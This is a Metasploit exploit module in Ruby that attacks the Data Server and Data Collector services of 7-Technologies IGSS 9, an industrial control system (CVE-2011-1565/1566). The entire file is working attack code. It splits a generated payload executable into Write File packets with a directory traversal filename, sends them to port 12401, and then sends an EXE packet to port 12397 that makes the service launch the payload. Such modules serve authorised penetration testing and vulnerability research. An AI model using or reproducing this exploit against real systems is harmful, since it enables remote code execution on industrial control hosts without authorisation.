##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities",
			'Description'    => %q{
					This module exploits multiple vulnerabilities found on IGSS 9's Data Server and
				Data Collector services.  The initial approach is first by transferring our binary
				with Write packets (opcode 0x0D) via port 12401 (igssdataserver.exe), and then send
				an EXE packet (opcode 0x0A) to port 12397 (dc.exe), which will cause dc.exe to run
				that payload with a CreateProcessA() function as a new thread.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Luigi Auriemma',  #Initial discovery, poc
					'sinn3r',          #Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2011-1565'],
					[ 'CVE', '2011-1566'],
					[ 'OSVDB', '72354'],
					[ 'OSVDB', '72349'],
					[ 'URL', 'http://aluigi.altervista.org/adv/igss_1-adv.txt' ],  #Write File packet flaw
					[ 'URL', 'http://aluigi.altervista.org/adv/igss_8-adv.txt' ],  #EXE packet flaw
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-132-01A.pdf']
				],
			'DefaultOptions'  =>
				{
					'EXITFUNC' => "none",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					#Service packs do not have any influence on the exploit
					[ 'Windows XP', {} ],
					[ 'Windows 7', {} ],
					[ 'Windows Server 2003 / R2' , {} ],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Mar 24 2011"))

			register_options(
				[
					Opt::RPORT(0, false),
				], self.class)
	end

	def write_packets(data)
		pkts = []

		#Payload will be in C:\Documents and Settings\All Users\Application Data\7T\
		tmp = rand_text_alpha(1)
		filename = "#{tmp}.exe"

		data_size = data.length

		0.step(data_size, 870) do |s|
			#Each packet only contains 870 bytes of data
			chunk = data[s, 870]

			#Data size of this packet
			chunk_size = [chunk.length].pack('v')

			#Flag is set if this is our last chunk
			#Flag 0x01 will cause the server to close the connection
			flag = (chunk.length >= 870) ? "\x00" : "\x01"

			pkt  = "\x01\x00\x34\x12"
			pkt << "\x0D"                     #Opcode
			pkt << "\x00"*7
			pkt << flag                       #Flag
			pkt << "\x00\x00\x00"
			pkt << "\x02"                     #Command (Write File)
			pkt << "\x00\x00\x00"
			pkt << "../../../../#{filename}"  #Filename
			pkt << "\x00"*73
			pkt << "\x3E\x01\x01\x02"
			pkt << "\x00\x10"
			pkt << "\x00\x00"
			pkt << "\x78\x01\x08\x04"
			pkt << "\x78\x01\x08\x04"
			pkt << "\x00"*22
			pkt << chunk_size                 #Data size
			pkt << "\x00\x00"
			pkt << chunk                      #Data chunk

			#Add the total packet size to the header
			pkt_size = [pkt.length + 2].pack('v')
			pkt = pkt_size + pkt

			#Put this packet to the array
			pkts << pkt
		end

		return filename, pkts
	end

	def exe_packet(filename)
		#Original path seems to be: C:\Program Files\7T\IGSS32\V9.0\GSS
		#We'll just traverse our way back to C:\ as base
		base = "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"

		pkt  = "\x00\x01"
		pkt << "\x00\x00\x00\x00\x00\x00\x00"
		pkt << "\x01"
		pkt << "\x00\x00"
		pkt << "\x0A"
		pkt << "\x00"*31
		pkt << "#{base}Documents and Settings\\All Users\\Application Data\\7T\\#{filename}\""
		pkt << "\x00"*143

		return pkt
	end

	def exploit
		#Generate payload and our Write packets
		print_status("Generating payload...")
		p = generate_payload_exe
		fname, w_packets = write_packets(p)
		w_packets_count = w_packets.length.to_s
		print_status("#{p.length.to_s} bytes of payload to transfer (#{w_packets_count} packets)")

		#Generate our EXE packet
		e_packet = exe_packet(fname)

		#Create socket to igssdataserver.exe (12401)
		connect(true, {'RPORT'=>12401})

		#Count how many packets we've sent to track progress
		counter = 1

		#Send Write packets
		print_status("Sending Write packets...")

		w_packets.each do |packet|
			vprint_status("Sending packet #{counter}/#{w_packets_count}")
			counter += 1
			sock.put(packet)
			res = sock.get_once() #Wait before we do the next sock.put again
		end

		#After the 0x01 flag is set, our connection will be closed by the server.
		disconnect

		#Now to port 12397 (nc.exe)
		connect(true, {'RPORT'=>12397})

		print_status("Attempt to execute our payload...")
		sock.put(e_packet)

		#We must delay disconnect() for a bit, otherwise dc.exe won't call
		#kernel32!CreateProcessA
		select(nil, nil, nil, 1)
		disconnect
	end
end
